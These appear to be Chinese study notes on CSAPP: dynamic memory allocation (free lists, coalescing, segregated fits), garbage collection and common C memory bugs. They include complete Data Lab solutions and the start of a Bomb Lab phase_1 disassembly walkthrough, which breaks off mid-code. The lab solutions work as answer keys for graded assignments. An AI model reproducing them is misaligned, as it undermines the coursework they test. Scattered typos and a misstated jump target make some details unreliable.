我们称这种结构为隐式空闲链表,是因为空闲块是通过头部中的大小字段隐含地连接着的。分配器可以通过遍历堆中所有的块,从而间接地遍历整个空闲块的集合。注意,我们需要某种特殊标记的结束块,在这个示例中,就是一个设置了已分配位而大小为零的终止头部(terminating header)。(就像我们将在 9.9.12 节中看到的,设置已分配位简化了空闲块的合并。)

隐式空闲链表的优点是简单。显著的缺点是任何操作的开销,例如放置分配的块,要求对空闲链表进行搜索,该搜索所需时间与堆中已分配块和空闲块的总数呈线性关系。

很重要的一点就是意识到系统对齐要求和分配器对块格式的选择会对分配器上的最小块大小有强制的要求。没有已分配块或者空闲块可以比这个最小值还小。例如,如果我们假设一个双字的对齐要求,那么每个块的大小都必须是双字(8 字节)的倍数。因此,图 9-35 中的块格式就导致最小的块大小为两个字:一个字作头,另一个字维持对齐要求。即使应用只请求一字节,分配器也仍然需要创建一个两字的块。

9.9.7 放置已分配的块

当一个应用请求一个互字节的块时,分配器搜索空闲链表,查找一个足够大可以放置所请求块的空闲块。分配器执行这种搜索的方式是由放置策略(placement policy)确定的。一些常见的策略是首次适配(firstfit),下一次适配(nextfit)和最佳适配(bestfit)„

首次适配从头开始搜索空闲链表,选择第一个合适的空闲块。下一次适配和首次适配很相似,只不过不是从链表的起始处开始每次搜索,而是从上一次查询结束的地方开始。最佳适配检查每个空闲块,选择适合所需请求大小的最小空闲块。

首次适配的优点是它趋向于将大的空闲块保留在链表的后面。缺点是它趋向于在靠近链表起始处留下小空闲块的“碎片”,这就增加了对较大块的搜索时间。下一次适配是由 Donald Knuth 作为首次适配的一种代替品最早提出的,源于这样一个想法:如果我们上一次在某个空闲块里已经发现了一个匹配,那么很可能下一次我们也能在这个剩余块中发现匹配。下一次适配比首次适配运行起来明显要快一些,尤其是当链表的前面布满了许多小的碎片时。然而,一些研究表明,下一次适配的内存利用率要比首次适配低得多。研究还表明最佳适配比首次适配和下一次适配的内存利用率都要高一些。然而,在简单空闲链表组织结构中,比如隐式空闲链表中,使用最佳适配的缺点是它要求对堆进行彻底的搜索。在后面,我们将看到更加精细复杂的分离式空闲链表组织,它接近于最佳适配策略,不需要进行彻底的堆搜索。

9.9.8 分割空闲块

一旦分配器找到一个匹配的空闲块,它就必须做另一个策略决定,那就是分配这个空闲块中多少空间。一个选择是用整个空闲块。虽然这种方式简单而快捷,但是主要的缺点就是它会造成内部碎片。如果放置策略趋向于产生好的匹配,那么额外的内部碎片也是可以接受的。

然而,如果匹配不太好,那么分配器通常会选择将这个空闲块分割为两部分。第一部分变成分配块,而剩下的变成一个新的空闲块。图 9-37 展示了分配器如何分割图 9-36 中 8 个字的空闲块,来满足一个应用的对堆内存 3 个字的请求。

image-20220106180521931

9.9.9 获取额外的堆内存

如果分配器不能为请求块找到合适的空闲块将发生什么呢?一个选择是通过合并那些在内存中物理上相邻的空闲块来创建一些更大的空闲块(在下一节中描述)。然而,如果这样还是不能生成一个足够大的块,或者如果空闲块已经最大程度地合并了,那么分配器就会通过调用 sbrk 函数,向内核请求额外的堆内存。分配器将额外的内存转化成一个大的空闲块,将这个块插入到空闲链表中,然后将被请求的块放置在这个新的空闲块中。

9.9.10 合并空闲块

当分配器释放一个已分配块时,可能有其他空闲块与这个新释放的空闲块相邻。这些邻接的空闲块可能引起一种现象,叫做假碎片(fault fragmentation),就是有许多可用的空闲块被切割成为小的、无法使用的空闲块。比如,图 9-38 展示了释放图 9-37 中分配的块后得到的结果。结果是两个相邻的空闲块,每一个的有效载荷都为 3 个字。因此,接下来一个对 4 字有效载荷的请求就会失败,即使两个空闲块的合计大小足够大,可以满足这个请求。

image-20220106180544760

为了解决假碎片问题,任何实际的分配器都必须合并相邻的空闲块,这个过程称为合并(coalescing)。这就出现了一个重要的策略决定,那就是何时执行合并。分配器可以选择立即合并(immediate coalescing),也就是在每次一个块被释放时,就合并所有的相邻块。或者它也可以选择推迟合并(deferred coalescing),也就是等到某个稍晚的时候再合并空闲块。例如,分配器可以推迟合并,直到某个分配请求失败,然后扫描整个堆,合并所有的空闲块。

立即合并很简单明了,可以在常数时间内执行完成,但是对于某些请求模式,这种方式会产生一种形式的抖动,块会反复地合并,然后马上分割。例如,在图 9-38 中,反复地分配和释放一个 3 个字的块将产生大量不必要的分割和合并。在对分配器的讨论中,我们会假设使用立即合并,但是你应该了解,快速的分配器通常会选择某种形式的推迟合并。

9.9.11 带边界标记的合并

分配器是如何实现合并的?让我们称想要释放的块为当前块。那么,合并(内存中的)下一个空闲块很简单而且高效。当前块的头部指向下一个块的头部,可以检查这个指针以判断下一个块是否是空闲的。如果是,就将它的大小简单地加到当前块头部的大小上,这两个块在常数时间内被合并。

但是我们该如何合并前面的块呢?给定一个带头部的隐式空闲链表,唯一的选择将是搜索整个链表,记住前面块的位置,直到我们到达当前块。使用隐式空闲链表,这意味着每次调用 free 需要的时间都与堆的大小成线性关系。即使使用更复杂精细的空闲链表组织,搜索时间也不会是常数。

Knuth 提出了一种聪明而通用的技术,叫做**边界标记(*boundary tag),允许在常数时间内进行对前面块的合并。这种思想,如图 9-39 所示,是在每个块的结尾处添加一个*脚部(footer,边界标记),其中脚部就是头部的一个副本。如果每个块包括这样一个脚部,那么分配器就可以通过检査它的脚部,判断前面一个块的起始位置和状态,这个脚部总是在距当前块开始位置一个字的距离。

image-20220106180605373

考虑当分配器释放当前块时所有可能存在的情况:

    前面的块和后面的块都是已分配的。

    前面的块是已分配的,后面的块是空闲的。

    前面的块是空闲的,而后面的块是已分配的。

    前面的和后面的块都是空闲的。

图 9-40 展示了我们如何对这四种情况进行合并。

image-20220106180622040

image-20220106180630410

边界标记的概念是简单优雅的,它对许多不同类型的分配器和空闲链表组织都是通用的。然而,它也存在一个潜在的缺陷。它要求每个块都保持一个头部和一个脚部,在应用程序操作许多个小块时,会产生显著的内存开销。例如,如果一个图形应用通过反复调用 malloc 和 free 来动态地创建和销毁图形节点,并且每个图形节点都只要求两个内存字,那么头部和脚部将占用每个已分配块的一半的空间。

幸运的是,有一种非常聪明的边界标记的优化方法,能够使得在已分配块中不再需要脚部。回想一下,当我们试图在内存中合并当前块以及前面的块和后面的块时,只有在前面的块是空闲时,才会需要用到它的脚部。如果我们把前面块的已分配/空闲位存放在当前块中多出来的低位中,那么已分配的块就不需要脚部了,这样我们就可以将这个多出来的空间用作有效载荷了。不过请注意,空闲块仍然需要脚部。

9.9.12 综合:实现一个简单的分配器

这里略,见STl的实现

9.9.13 显式空闲链表

隐式空闲链表为我们提供了一种介绍一些基本分配器概念的简单方法。然而,因为块分配与堆块的总数呈线性关系,所以对于通用的分配器,隐式空闲链表是不适合的(尽管对于堆块数量预先就知道是很小的特殊的分配器来说它是可以的)。

一种更好的方法是将空闲块组织为某种形式的显式数据结构。因为根据定义,程序不需要一个空闲块的主体,所以实现这个数据结构的指针可以存放在这些空闲块的主体里面。例如,堆可以组织成一个双向空闲链表,在每个空闲块中,都包含一个 pred(前驱)和 succ(后继)指针,如图 9-48 所示。

image-20220106180721061

使用双向链表而不是隐式空闲链表,使首次适配的分配时间从块总数的线性时间减少到了空闲块数量的线性时间。不过,释放一个块的时间可以是线性的,也可能是个常数,这取决于我们所选择的空闲链表中块的排序策略。

一种方法是用后进先出(LIFO)的顺序维护链表,将新释放的块放置在链表的开始处。使用 LIFO 的顺序和首次适配的放置策略,分配器会最先检查最近使用过的块。在这种情况下,释放一个块可以在常数时间内完成。如果使用了边界标记,那么合并也可以在常数时间内完成。

另一种方法是按照地址顺序来维护链表,其中链表中每个块的地址都小于它后继的地址。在这种情况下,释放一个块需要线性时间的搜索来定位合适的前驱。平衡点在于,按照地址排序的首次适配比 LIFO 排序的首次适配有更高的内存利用率,接近最佳适配的利用率。

一般而言,显式链表的缺点是空闲块必须足够大,以包含所有需要的指针,以及头部和可能的脚部。这就导致了更大的最小块大小,也潜在地提高了内部碎片的程度。

9.9.14 分离的空闲链表

就像我们已经看到的,一个使用单向空闲块链表的分配器需要与空闲块数量呈线性关系的时间来分配块。一种流行的减少分配时间的方法,通常称为分离存储(segregated storage),就是维护多个空闲链表,其中每个链表中的块有大致相等的大小。一般的思路是将所有可能的块大小分成一些等价类,也叫做大小类(size class)。有很多种方式来定义大小类。例如,我们可以根据 2 的幕来划分块大小:

image-20220106180745215

分配器维护着一个空闲链表数组,每个大小类一个空闲链表,按照大小的升序排列。当分配器需要一个大小为 n 的块时,它就搜索相应的空闲链表。如果不能找到合适的块与之匹配,它就搜索下一个链表,以此类推。

有关动态内存分配的文献描述了几十种分离存储方法,主要的区别在于它们如何定义大小类,何时进行合并,何时向操作系统请求额外的堆内存,是否允许分割,等等。为了使你大致了解有哪些可能性,我们会描述两种基本的方法:简单分离存储(simple segregated storage)和分离适配(segregated fit)。

1. 简单分离存储

使用简单分离存储,每个大小类的空闲链表包含大小相等的块,每个块的大小就是这个大小类中最大元素的大小。例如,如果某个大小类定义为 {17 ~ 32},那么这个类的空闲链表全由大小为 32 的块组成。

为了分配一个给定大小的块,我们检査相应的空闲链表。如果链表非空,我们简单地分配其中第一块的全部。空闲块是不会分割以满足分配请求的。如果链表为空,分配器就向操作系统请求一个固定大小的额外内存片(通常是页大小的整数倍),将这个片分成大小相等的块,并将这些块链接起来形成新的空闲链表。要释放一个块,分配器只要简单地将这个块插入到相应的空闲链表的前部。

这种简单的方法有许多优点。分配和释放块都是很快的常数时间操作。而且,每个片中都是大小相等的块,不分割,不合并,这意味着每个块只有很少的内存开销。由于每个片只有大小相同的块,那么一个已分配块的大小就可以从它的地址中推断出来。因为没有合并,所以已分配块的头部就不需要一个已分配/空闲标记。因此已分配块不需要头部,同时因为没有合并,它们也不需要脚部。因为分配和释放操作都是在空闲链表的起始处操作,所以链表只需要是单向的,而不用是双向的。关键点在于,在任何块中都需要的唯一字段是每个空闲块中的一个字的 succ 指针,因此最小块大小就是一个字。

一个显著的缺点是,简单分离存储很容易造成内部和外部碎片。因为空闲块是不会被分割的,所以可能会造成内部碎片。更糟的是,因为不会合并空闲块,所以某些引用模式会引起极多的外部碎片(见练习题 9.10)。

2. 分离适配

使用这种方法,分配器维护着一个空闲链表的数组。每个空闲链表是和一个大小类相关联的,并且被组织成某种类型的显式或隐式链表。每个链表包含潜在的大小不同的块,这些块的大小是大小类的成员。有许多种不同的分离适配分配器。这里,我们描述了一种简单的版本。

为了分配一个块,必须确定请求的大小类,并且对适当的空闲链表做首次适配,査找一个合适的块。如果找到了一个,那么就(可选地)分割它,并将剩余的部分插入到适当的空闲链表中。如果找不到合适的块,那么就搜索下一个更大的大小类的空闲链表。如此重复,直到找到一个合适的块。如果空闲链表中没有合适的块,那么就向操作系统请求额外的堆内存,从这个新的堆内存中分配出一个块,将剩余部分放置在适当的大小类中。要释放一个块,我们执行合并,并将结果放置到相应的空闲链表中。

分离适配方法是一种常见的选择,C 标准库中提供的 GNU malloc 包就是釆用的这种方法,因为这种方法既快速,对内存的使用也很有效率。搜索时间减少了,因为搜索被限制在堆的某个部分,而不是整个堆。内存利用率得到了改善,因为有一个有趣的事实:对分离空闲链表的简单的首次适配搜索,其内存利用率近似于对整个堆的最佳适配搜索的内存利用率。

3.伙伴系统

image-20220106180835238

image-20220106180841707

9.10垃圾收集

垃圾收集器是种动态内存分配器,它自动释放程序不再需要的已分配块。

垃圾收集器将内存视为一张有向可达图。

编程语言方面,像ML、Java这样的编程语言的垃圾收集器,对于创建指针比较有严格的规定,能够维护可达图的精准表达

Mark & Sweep 垃圾收集器

由标记阶段和清除阶段组成

C语言使用Mark & Sweep 垃圾收集器来处理的时候是必须保守的,其根本原因是因为C语言不会使用类型信息来标记内存位置

9.11 C程序中常见的与内存有关错误

与内存有关的错误经常在时间上和空间上距离错误源一段距离后才表现出来。

注意:以下错误都是 C 程序中的常见错误,不完全适用于 C++ 程序。

间接引用坏指针

虚拟地址空间中有一些大洞(即区域之间的部分),当试图间接引用一个指向这些洞的指针就会触发段异常。试图写一些只读的区域会触发保护异常。

经典的scanf错误

 scanf("%d", val); //经典的 scanf 错误:试图将一个字写到 val 的值表示的地址处。                  
1

如果 val 的值对应一个空洞或不能写的位置,将触发异常。如果 val 的值对应一个合法的读写位置,将会修改该处的值,通常会产生灾难性后果。

读未初始化的内存

bss 段(如未初始化的全局变量)总是被加载器初始化为 0,但是堆内存并非如此。

常见错误:假设堆内存初始化为 0。

允许栈缓冲区溢出

如果不检查输入串的大小就写到栈中的目标缓冲区就可能导致缓冲区溢出错误。

gets(buf);  //可能发生缓冲区溢出错误
fgets(buf); //fgets 限制了输入串的大小,避免了上述错误  
12

其他错误

还有其他错误如下:

  1. 假设指针和它们指向的对象是相同大小的。如混淆 sizeof(int *) 和 sizeof(int)。

  2. 造成错位错误。访问数组元素时越界:A[n]。

  3. 引用指针,而不是它所指向的对象。如混用 *size-- 和 *(size–)。

  4. 误解指针计算。如忘记指针加一的单位是指针指向的对象的大小,而不是一个字节。

  5. 引用不存在的变量。如函数返回一个函数中的局部变量的地址。

  6. 引用空闲堆块中的数据。如引用已经被释放了的堆中的数据。

  7. 引起内存泄露。内存泄漏是缓慢、隐性的杀手,当忘记释放分配的块时会引发内存泄漏。

lab1 Data Lab

快速开始请访问 CSAPP https://link.zhihu.com/?target=http%3A//csapp.cs.cmu.edu/3e/labs.html官网

开始做 CSAPP 的实验了,这次是第一次实验,内容是关于计算机信息的表示,主要是位操作、整数题和浮点数相关的题。

第一次实验流程还不是很熟练,跟着大佬的操作在一步步尝试ing~

题目列表

名称描述难度指令数目
bitXor(x,y)只使用 ~& 实现 ^114
tmin()返回最小补码14
isTmax(x)判断是否是补码最大值110
allOddBits(x)判断补码所有奇数位是否都是 1212
negate(x)不使用负号 - 实现 -x25
isAsciiDigit(x)判断 x 是否是 ASCII315
conditional(x, y, z)类似于 C 语言中的 x?y:z316
isLessOrEqual(x,y)x<=y324
logicalNeg(x)计算 !x 而不用 ! 运算符412
howManyBits(x)计算表达 x 所需的最少位数490
floatScale2(uf)计算 2.0*uf430
floatFloat2Int(uf)对于浮点参数 f,返回 (int) f 的位级等价数430
floatPower2(x)对于整数 x,返回 2.0^x430

准备

这里使用了ubuntu 64位的操作系统来做这个实验。

安装过程省略,贴上几个拉库和安装依赖的命令

sudo apt-get update
sudo apt-get install git
拉csapp实验的库
git clone https://github.com/ScarboroughCoral/CSAPP-Lab.git
安装make,用来编译c
sudo apt -y install make
安装gcc依赖
sudu apt -y install gcc
发现64位系统并不能成功编译会报错,国外论坛查阅后用下面命令安装32位依赖
sudo apt-get install gcc-multilib

题解

bitXor(x,y)

只使用两种位运算实现异或操作。这个算是一个比较简单的问题了,难度系数 1。学数电和离散二布尔代数的时候了解过。

/* 
 * bitXor - x^y using only ~ and & 
 *   Example: bitXor(4, 5) = 1
 *   Legal ops: ~ &
 *   Max ops: 14
 *   Rating: 1
 */
int bitXor(int x, int y) {
  return ~(~x&~y)&~(x&y);
}

根据布尔代数,可以通过 ~& ,即非和与操作实现异或操作。所谓异或就是当参与运算的两个二进制数不同时结果才为 1,其他情况为 0。C 语言中的位操作对基本类型变量进行运算就是对类型中的每一位进行位操作。所以结果可以使用 “非” 和 “与” 计算不是同时为 0 情况和不是同时为 1 的情况进行位与,即 ~(~x&~y)&~(x&y)

  • tmin()

    使用位运算获取对 2 补码的最小 int 值。这个题目也是比较简单。

    /* 
     * tmin - return minimum two's complement integer 
     *   Legal ops: ! ~ & ^ | + << >>
     *   Max ops: 4
     *   Rating: 1
     */
    int tmin(void) {
      return 0x1<<31;
    }
    

    C 语言中 int 类型是 32 位,即 4 字节数。**补码最小值就是符号位为 1,其余全为 0。**所以只需要得到这个值就行了,我采用的是对数值 0x1 进行移位运算,得到结果。

    isTmax(x)

    通过位运算计算是否是补码最大值。

    /*
     * isTmax - returns 1 if x is the maximum, two's complement number,
     *     and 0 otherwise 
     *   Legal ops: ! ~ & ^ | +
     *   Max ops: 10
     *   Rating: 1
     */
    int isTmax(int x) {
      int i = x+1;//Tmin,1000...
      x=x+i;//-1,1111...
      x=~x;//0,0000...
      i=!i;//exclude x=0xffff...
      x=x+i;//exclude x=0xffff...
      return !x;
    }
    

    做这个题目的前提就是必须知道补码最大值是多少,这当然是针对 int 类型来说的,最大值当然是符号位为 0,其余全是 1,这是补码规则,不明其意则 Google。在此说一下个人理解,最终返回值为 0 或 1,要想判断给定数 x 是不是补码最大值(0x0111,1111,1111,1111),则需要将给定值 x 向全 0 值转换判断,因为非 0 布尔值就是 1,不管你是 1 还是 2。根据我标注的代码注释理解,如果 x 是最大值,将其转换为全 0 有很多方法,不过最终要排除转换过程中其他的数值,比如本例子中需要排除 0xffffffffffffffff 的情况:将 x 加 1 的值再和 x 相加,得到了全 1(函数第二行),然后取反得到全 0,因为补码 - 1 也有这个特点,所以要排除,假设 x 是 -1,则 +1 后为全 0,否则不为全 0,函数 4-5 行则是排除这种情况。

    allOddBits(x)

    判断所有奇数位是否都为1,这里的奇数指的是位的阶级是2的几次幂。重在思考转换规律,如何转换为对应的布尔值。

    /* 
     * allOddBits - return 1 if all odd-numbered bits in word set to 1
     *   where bits are numbered from 0 (least significant) to 31 (most significant)
     *   Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
     *   Legal ops: ! ~ & ^ | + << >>
     *   Max ops: 12
     *   Rating: 2
     */
    int allOddBits(int x) {
      int mask = 0xAA+(0xAA<<8);
      mask=mask+(mask<<16);
      return !((mask&x)^mask);
    }
    

    这个题目比较简单的,采用掩码方式解决。首先要构造掩码,使用移位运算符构造出奇数位全1的数 mask ,然后获取输入 x 值的奇数位,其他位清零(mask&x),然后与 mask 进行异或操作,若相同则最终结果为0,然后返回其值的逻辑非。

    negate(x)

    不使用 - 操作符,求 -x 值。这个题目是常识。

    /* 
     * negate - return -x 
     *   Example: negate(1) = -1.
     *   Legal ops: ! ~ & ^ | + << >>
     *   Max ops: 5
     *   Rating: 2
     */
    int negate(int x) {
      return ~x+1;
    }
    

    补码实际上是一个阿贝尔群,对于 x-x 是其补码,所以 -x 可以通过对 x 取反加1得到。

    isAsciiDigit(x)

    计算输入值是否是数字 0-9 的 ASCII 值。这个题刚开始还是比较懵的,不过这个题让我认识到了位级操作的强大。

    /* 
     * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9')
     *   Example: isAsciiDigit(0x35) = 1.
     *            isAsciiDigit(0x3a) = 0.
     *            isAsciiDigit(0x05) = 0.
     *   Legal ops: ! ~ & ^ | + << >>
     *   Max ops: 15
     *   Rating: 3
     */
    int isAsciiDigit(int x) {
      int sign = 0x1<<31;
      int upperBound = ~(sign|0x39);
      int lowerBound = ~0x30;
      upperBound = sign&(upperBound+x)>>31;
      lowerBound = sign&(lowerBound+1+x)>>31;
      return !(upperBound|lowerBound);
    }
    

    通过位级运算计算 x 是否在 0x30 - 0x39 范围内就是这个题的解决方案。那如何用位级运算来操作呢?我们可以使用两个数,一个数是加上比0x39大的数后符号由正变负,另一个数是加上比0x30小的值时是负数。这两个数是代码中初始化的 upperBoundlowerBound,然后加法之后获取其符号位判断即可。

    conditional(x, y, z)

    使用位级运算实现C语言中的 x?y:z三目运算符。又是位级运算的一个使用技巧。

    /* 
     * conditional - same as x ? y : z 
     *   Example: conditional(3,4,5) = 4
     *   Legal ops: ! ~ & ^ | + << >>
     *   Max ops: 16
     *   Rating: 3
     */
    int conditional(int x, int y, int z) {
      x = !!x;
      x = ~x+1;
      return (x&y)|(~x&z);
    }
    

    如果我们根据 x 的布尔值转换为全0或全1是不是更容易解决了,即 x==0 时位表示是全0的, x!=0 时位表示是全1的。这就是1-2行代码,通过获取其布尔值0或1,然后求其补码(0的补码是本身,位表示全0;1的补码是-1,位表示全1)得到想要的结果。然后通过位运算获取最终值。

    isLessOrEqual(x,y)

    使用位级运算符实现<=

    • 代码
    /* 
     * isLessOrEqual - if x <= y  then return 1, else return 0 
     *   Example: isLessOrEqual(4,5) = 1.
     *   Legal ops: ! ~ & ^ | + << >>
     *   Max ops: 24
     *   Rating: 3
     */
    int isLessOrEqual(int x, int y) {
      int negX=~x+1;//-x
      int addX=negX+y;//y-x
      int checkSign = addX>>31&1; //y-x的符号
      int leftBit = 1<<31;//最大位为1的32位有符号数
      int xLeft = x&leftBit;//x的符号
      int yLeft = y&leftBit;//y的符号
      int bitXor = xLeft ^ yLeft;//x和y符号相同标志位,相同为0不同为1
      bitXor = (bitXor>>31)&1;//符号相同标志位格式化为0或1
      return ((!bitXor)&(!checkSign))|(bitXor&(xLeft>>31));//返回1有两种情况:符号相同标志位为0(相同)位与 y-x 的符号为0(y-x>=0)结果为1;符号相同标志位为1(不同)位与x的符号位为1(x<0)
    }
    

    通过位运算实现比较两个数的大小,无非两种情况:一是符号不同正数为大,二是符号相同看差值符号。

    logicalNeg(x)

    使用位级运算求逻辑非 !

    /* 
     * logicalNeg - implement the ! operator, using all of 
     *              the legal operators except !
     *   Examples: logicalNeg(3) = 0, logicalNeg(0) = 1
     *   Legal ops: ~ & ^ | + << >>
     *   Max ops: 12
     *   Rating: 4 
     */
    
    int logicalNeg(int x) {
    
      return ((x|(~x+1))>>31)+1;
    }
    

    逻辑非就是非0为1,非非0为0。利用其补码(取反加一)的性质,除了0和最小数(符号位为1,其余为0),外其他数都是互为相反数关系(符号位取位或为1)。0和最小数的补码是本身,不过0的符号位与其补码符号位位或为0,最小数的为1。利用这一点得到解决方法。

    howManyBits(x)

    求值:“一个数用补码表示最少需要几位?”

    /* howManyBits - return the minimum number of bits required to represent x in
     *             two's complement
     *  Examples: howManyBits(12) = 5
     *            howManyBits(298) = 10
     *            howManyBits(-5) = 4
     *            howManyBits(0)  = 1
     *            howManyBits(-1) = 1
     *            howManyBits(0x80000000) = 32
     *  Legal ops: ! ~ & ^ | + << >>
     *  Max ops: 90
     *  Rating: 4
     */
    int howManyBits(int x) {
      int b16,b8,b4,b2,b1,b0;
      int sign=x>>31;
      x = (sign&~x)|(~sign&x);//如果x为正则不变,否则按位取反(这样好找最高位为1的,原来是最高位为0的,这样也将符号位去掉了)
    
    
    // 不断缩小范围
      b16 = !!(x>>16)<<4;//高十六位是否有1
      x = x>>b16;//如果有(至少需要16位),则将原数右移16位
      b8 = !!(x>>8)<<3;//剩余位高8位是否有1
      x = x>>b8;//如果有(至少需要16+8=24位),则右移8位
      b4 = !!(x>>4)<<2;//同理
      x = x>>b4;
      b2 = !!(x>>2)<<1;
      x = x>>b2;
      b1 = !!(x>>1);
      x = x>>b1;
      b0 = x;
      return b16+b8+b4+b2+b1+b0+1;//+1表示加上符号位
    }
    

    如果是一个正数,则需要找到它最高的一位(假设是n)是1的,再加上符号位,结果为n+1;如果是一个负数,则需要知道其最高的一位是0的(例如4位的1101和三位的101补码表示的是一个值:-3,最少需要3位来表示)。

    floatScale2(f)

    求2乘一个浮点数

    /* 
     * floatScale2 - Return bit-level equivalent of expression 2*f for
     *   floating point argument f.
     *   Both the argument and result are passed as unsigned int's, but
     *   they are to be interpreted as the bit-level representation of
     *   single-precision floating point values.
     *   When argument is NaN, return argument
     *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
     *   Max ops: 30
     *   Rating: 4
     */
    unsigned floatScale2(unsigned uf) {
      int exp = (uf&0x7f800000)>>23;
      int sign = uf&(1<<31);
      if(exp==0) return uf<<1|sign;
      if(exp==255) return uf;
      exp++;
      if(exp==255) return 0x7f800000|sign;
      return (exp<<23)|(uf&0x807fffff);
    }
    

    首先排除无穷小、0、无穷大和非数值NaN,此时浮点数指数部分(真正指数+bias)分别存储的的为0,0,,255,255。这些情况,无穷大和NaN都只需要返回参数( [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1YkzXArQ-1645887943987)(https://www.zhihu.com/equation?tex=2%5Ctimes%5Cinfty%3D%5Cinfty%2C2%5Ctimes+NaN%3DNaN)] ),无穷小和0只需要将原数乘二再加上符号位就行了(并不会越界)。剩下的情况,如果指数+1之后为指数为255则返回原符号无穷大,否则返回指数+1之后的原符号数。

    floatFloat2Int(f)

    将浮点数转换为整数

    /* 
     * floatFloat2Int - Return bit-level equivalent of expression (int) f
     *   for floating point argument f.
     *   Argument is passed as unsigned int, but
     *   it is to be interpreted as the bit-level representation of a
     *   single-precision floating point value.
     *   Anything out of range (including NaN and infinity) should return
     *   0x80000000u.
     *   Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while
     *   Max ops: 30
     *   Rating: 4
     */
    int floatFloat2Int(unsigned uf) {
      int s_    = uf>>31;
      int exp_  = ((uf&0x7f800000)>>23)-127;
      int frac_ = (uf&0x007fffff)|0x00800000;
      if(!(uf&0x7fffffff)) return 0;
    
      if(exp_ > 31) return 0x80000000;
      if(exp_ < 0) return 0;
    
      if(exp_ > 23) frac_ <<= (exp_-23);
      else frac_ >>= (23-exp_);
    
      if(!((frac_>>31)^s_)) return frac_;
      else if(frac_>>31) return 0x80000000;
      else return ~frac_+1;
    }
    

    首先考虑特殊情况:如果原浮点值为0则返回0;如果真实指数大于31(frac部分是大于等于1的,1<<31位会覆盖符号位),返回规定的溢出值0x80000000u;如果 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qvdu8xZM-1645887943988)(https://www.zhihu.com/equation?tex=exp%3C0)] (1右移x位,x>0,结果为0)则返回0。剩下的情况:首先把小数部分(23位)转化为整数(和23比较),然后判断是否溢出:如果和原符号相同则直接返回,否则如果结果为负(原来为正)则溢出返回越界指定值0x80000000u,否则原来为负,结果为正,则需要返回其补码(相反数)。

    C语言的浮点数强转为整数怎么转的?

    利用位级表示进行强转!

    floatPower2(x)

    求 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4HsquYuY-1645887943988)(https://www.zhihu.com/equation?tex=2.0%5Ex)]

    /* 
     * floatPower2 - Return bit-level equivalent of the expression 2.0^x
     *   (2.0 raised to the power x) for any 32-bit integer x.
     *
     *   The unsigned value that is returned should have the identical bit
     *   representation as the single-precision floating-point number 2.0^x.
     *   If the result is too small to be represented as a denorm, return
     *   0. If too large, return +INF.
     * 
     *   Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while 
     *   Max ops: 31 
     *   Rating: 4
     */
    unsigned floatPower2(int x) {
    
      int INF = 0xff<<23;
      int exp = x + 127;
      if(exp <= 0) return 0;
      if(exp >= 255) return INF;
      return exp << 23;
    }
    

    image-20220129233154145

    这个比较简单,首先得到偏移之后的指数值e,如果e小于等于0(为0时,结果为0,因为2.0的浮点表示frac部分为0),对应的如果e大于等于255则为无穷大或越界了。否则返回正常浮点值,frac为0,直接对应指数即可。

image-20220126233734520

附上战果图

lab2 Bomb Lab

准备

image-20220213000650238

1:将下载的炸弹包拷贝到Linux主机上;

2:使用tar -xvf “bomb名”进行解压;

解压后生成3个文件:

README:炸弹所属的用户信息;

bomb:二进制炸弹文件;

bomb.c:二进制炸弹文件的框架源文件,供解题者参考。

3:使用objdump -d bomb对二进制炸弹进行反汇编,并将其保存到一个文本文件中。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ImJ5S384-1645887943989)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220212235053295.png)]

题解

phase_1

phase_1要求输入一个字符串,二进制炸弹会判断输入的字符串是否与目标字符串相等。

观察框架源文件bomb.c:

image-20220212235008942

从上可以看出:

1、首先调用了read_line()函数,用于输入炸弹秘钥,输入放置在char* input中。

2、调用phase_1函数,输入参数即为input,可以初步判断,phase_1函数将输入的input字符串与程序内部的炸弹秘钥进行比较。

因此下一步的主要任务是从asm.txt中查找在哪个地方调用了readline函数以及phase_1函数。

打开asm.txt,在其中搜索phase_1:

img

从上图可以看出一些信息:

1、第330行:调用了read_line函数;read_line的返回结果(char* input)放置在eax**(累加器)**寄存器中。(从函数返回的结果一般都放置在eax寄存器中

2、第331行:将read_line函数的返回结果放置在当前**esp****(栈指针寄存在)**指针指向的栈顶。

3、第332行:在逻辑地址0x8048b47位置调用了phase_1函数。同时也说明了phase_1函数的入口地址为0x8048c00。

4、结合前面bomb.c的分析,从上可以看出第331行,是在为调用phase_1准备参数,我们可以分析出此时函数调用栈的情况:

img

5、从上面可以看出,phase_1函数入口在虚拟地址0x8048c00,下一步需要分析phase_1函数。

在asm.txt中寻找8048c00(或者继续寻找phase_1)。

img

从上图可以看出一些信息:

1、第378行:sub $0x1c, %esp,将函数栈空间扩展了0x1c字节(28个字节)
2、第379行:将0x804a3ec 放置到了esp+4的地方。
3、第381/382行:将input的内容放置到了esp的地方。注:20(%esp)正好是栈中存放input的内容。
4、第383行:调用strings_not_equal函数。
5、显然,第379行以及第381/382行是在为调用strings_not_equal函数准备参数。在调用strings_not_equal函数之前(即382行执行之后,383行执行之前),

函数栈帧变成如下:
img

6、第384行:test %eax %eax,是对eax寄存器里的内容(string_not_equal函数的返回内容)进行位与操作,如果为0,则置zf标志(零标志)为1;

7、第385行:是一个je指令,je指令判断zf标志(零标志)为1时(也即strings_not_equal函数返回的是0的情况下),跳转到phase_2 + 0x20的地方,即0x8048c20的地方,说明炸弹拆除成功。否则,call 804939b <explode_bomb>,顾名思义,是爆炸炸弹,即拆除炸弹失败。

8、从上面的分析来看,上图中显示的栈帧中,esp的内容是输入的字符串的首地址,而esp + 4的内容是0x804a3ec,应该是在程序中保存的被比较的字符串(即拆弹字符串)的首地址,而按照strings_not_equal的名字来看,如果是不等,则返回1,等则返回0。如果等,代表输入的拆弹字符串是正确的。

C语言伪代码:

[复制代码](javascript:void(0)😉

int32_t strings_not_equal(int32_t a1, int32_t a2);

void explode_bomb(int32_t a1, int32_t a2);

void phase_1(int32_t a1) {
    int32_t eax2;
    int32_t v3;
    eax2 = strings_not_equal(a1, "Why make trillions when we could make... billions?");
    if (eax2 != 0) {
